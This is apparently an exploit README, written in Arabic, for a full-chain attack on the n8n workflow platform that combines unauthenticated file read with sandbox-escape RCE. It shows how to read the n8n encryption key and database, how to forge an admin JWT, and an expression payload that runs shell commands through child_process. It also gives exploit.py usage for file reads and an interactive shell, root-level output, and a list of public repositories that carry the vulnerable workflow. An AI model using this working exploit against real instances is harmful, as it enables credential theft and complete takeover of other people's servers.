
n8n Ni8mare - سلسلة من قراءة الملفات التعسفية غير المصادق عليها إلى تنفيذ الكود عن بُعد (CVSS 10.0)
قراءة ملفات عشوائية بدون مصادقة → تزوير رمز المدير → تجاوز صندوق الحماية → RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (حرجة) |
| الإصدارات المتأثرة | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| الإصدار المُصحَّح | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| تاريخ الكشف | 2026-01-07 11:09 UTC |
| الاسم الرمزي | Ni8mare |
| الفضل | Dor Attias (Cyera) |
| الاستغلال | Chocapikk |
| العملية | مؤتمتة بالذكاء الاصطناعي: فرق التصحيح → إعادة الإنتاج → بيئة الاختبار → الاستغلال (نحو 9 ساعات بعد الكشف) |
| النوع | إثبات المفهوم - ليس استغلالًا شاملًا (يتطلب إعداد مسار عمل محدد، راجع القيود) |
سلسلة RCE كاملة بدون مصادقة على n8n:
درجة التعرض مرتبطة بالإصدار. ومن حيث التعرض، توجد نسخ n8n ضعيفة متاحة للعموم.
نتائج LeakIX: عرض النسخ المكشوفة
طُوّر هذا الاستغلال بشكل مستقل عن تقرير Cyera (اكتُشف بعد اكتماله). الاختلافات الرئيسية:
يتطلب كلا النهجين إعدادات مسارات عمل محددة. يحتاج نهج Cyera إلى دردشة + تكامل ذكاء اصطناعي، بينما يحتاج هذا الاستغلال إلى نموذج مع عقدة Respond. راجع القيود للتفاصيل.
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
عبارة "Merge commit from fork" الأسطورية - عندما ترى هذا، فاعلم أن أحدهم عثر على شيء مثير. 🌶️
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
أرسل Content-Type: application/json → تحكم في filepath → اقرأ أي ملف.
يضع n8n كود المستخدم في صندوق حماية (عقدة الكود، التعبيرات) باستخدام vm2/isolated-vm. نواقل RCE أخرى:
| التقنية | الحالة |
|---|---|
| عقدة Execute Command | معطّلة افتراضيًا (N8N_ALLOW_EXEC_COMMAND=false) |
استخدمت حقن التعبيرات لأنه يعمل على أي n8n بالإعدادات الافتراضية - دون الحاجة إلى عقد أو إعدادات خاصة. يتطلب تجاوز Pyodide (CVE-2025-68668) عقدة Python Code التي قد لا تكون متاحة على جميع النسخ.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
تعبيرات n8n لديها وصول إلى this.process.mainModule.require → هروب كامل من صندوق الحماية.
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
هذا ليس استغلالًا من نوع "pwn any n8n". يتطلب شروطًا محددة ليعمل:
| المتطلب | الوصف |
|---|---|
| نموذج مع رفع ملفات | يجب أن يمتلك الهدف مسار عمل نموذج يتضمن حقل رفع ملفات |
مثال على إعداد مسار عمل قابل للاستغلال:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
العناصر الأساسية هي: fieldType: "file" + respondWith: "binary". هذا النمط شائع في مسارات عمل معالجة الملفات (المحوِّلات، مُعيدات تحجيم الصور، معالجات المستندات).
يعمل في الحالات التالية:
لا يعمل في الحالات التالية:
ملاحظة: تُفعَّل الثغرة (قراءة الملفات العشوائية) بغض النظر عن طريقة استخراج البيانات. عقدة Respond هي مجرد وسيلة واحدة لاسترجاع المحتوى. قد تعمل طرق بديلة (OOB، عقد إخراج أخرى) اعتمادًا على إعداد مسار العمل.
الاستغلال الأعمى: إذا لم توجد عقدة Respond، فسيظل n8n يقرأ الملف لكن لا يمكن استخراجه عبر استجابة HTTP. ستكون هناك حاجة إلى تقنيات بديلة (OOB، التوقيت).
النمط القابل للاستغلال (Form Trigger + رفع الملفات + Respond to Webhook) موجود في مستودعات GitHub العامة.
ملاحظة: مستودعات مسارات عمل n8n الشهيرة (>100⭐) لا تستخدم هذا النمط. هذه مشاريع مجتمعية/شخصية:
هذه مسارات عمل مقدمة من المجتمع. لا تستخدم أي قوالب رسمية من n8n.io هذا النمط القابل للاستغلال.
| Cyera (البحث الأصلي) | هذا الاستغلال |
|---|
| قراءة الملف | تحميله في قاعدة معرفة الذكاء الاصطناعي → الاستعلام عبر الدردشة | استجابة HTTP مباشرة |
| المتطلبات المسبقة | مسار عمل دردشة + تكامل ذكاء اصطناعي | أي نموذج مع رفع ملفات |
| طريقة RCE | عقدة "Execute Command" (معطّلة افتراضيًا) | حقن التعبيرات (يعمل على التركيبات الافتراضية) |
| الأتمتة | عرض يدوي/مفاهيمي | نص برمجي Python مؤتمت بالكامل |
| عقد SSH/HTTP | تنفّذ على خوادم بعيدة، وليس على مضيف n8n |
| الهروب من صندوق حماية Pyodide | CVE-2025-68668 - يتطلب عقدة Python Code |
| حقن التعبيرات | CVE-2025-68613 - يعمل على التركيبات الافتراضية |
| يجب أن يُعيد مسار العمل محتوى الملف في استجابة HTTP |
| مسار عمل نشط | يجب تفعيل مسار عمل النموذج |
| وصول بدون مصادقة | يجب أن يكون النموذج متاحًا للعموم (بدون مصادقة) |
| ملف مسار العمل | حقول الملفات | respondWith |
|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | صور، صوت، Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | مستند (PDF) | text |
| ai_resume_project/resume_rag.json | رفع ملفات | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | ملف صوتي | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | رفع ملف | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | ارفع مستندك | default |
| learn_earn_ai_insta/.../My workflow.json | ارفع ملفك | default |
| finintworkshop/.../API using n8n (ToT).json | file | json |